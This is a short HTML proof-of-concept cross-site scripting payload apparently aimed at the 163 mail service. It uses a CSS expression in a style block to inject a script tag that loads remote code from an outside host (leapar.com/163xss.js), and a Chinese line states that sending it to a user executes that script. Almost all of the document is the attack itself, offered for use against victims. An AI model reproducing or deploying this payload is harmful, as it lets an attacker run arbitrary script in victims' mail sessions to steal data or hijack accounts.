<html>
<style>
body {
width:
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/*if(!window.xxx){window.xxx=1;if(document.body){var
s=document.createElement("script");document.body.appendChild(s);s.src="http://
www.leapar.com/163xss.js";}}*/
}
</style>
<body>
leapar..
163 expression xss..
</body>
</html>
把这个发送给用户,将执行http://www.leapar.com/163xss.js.
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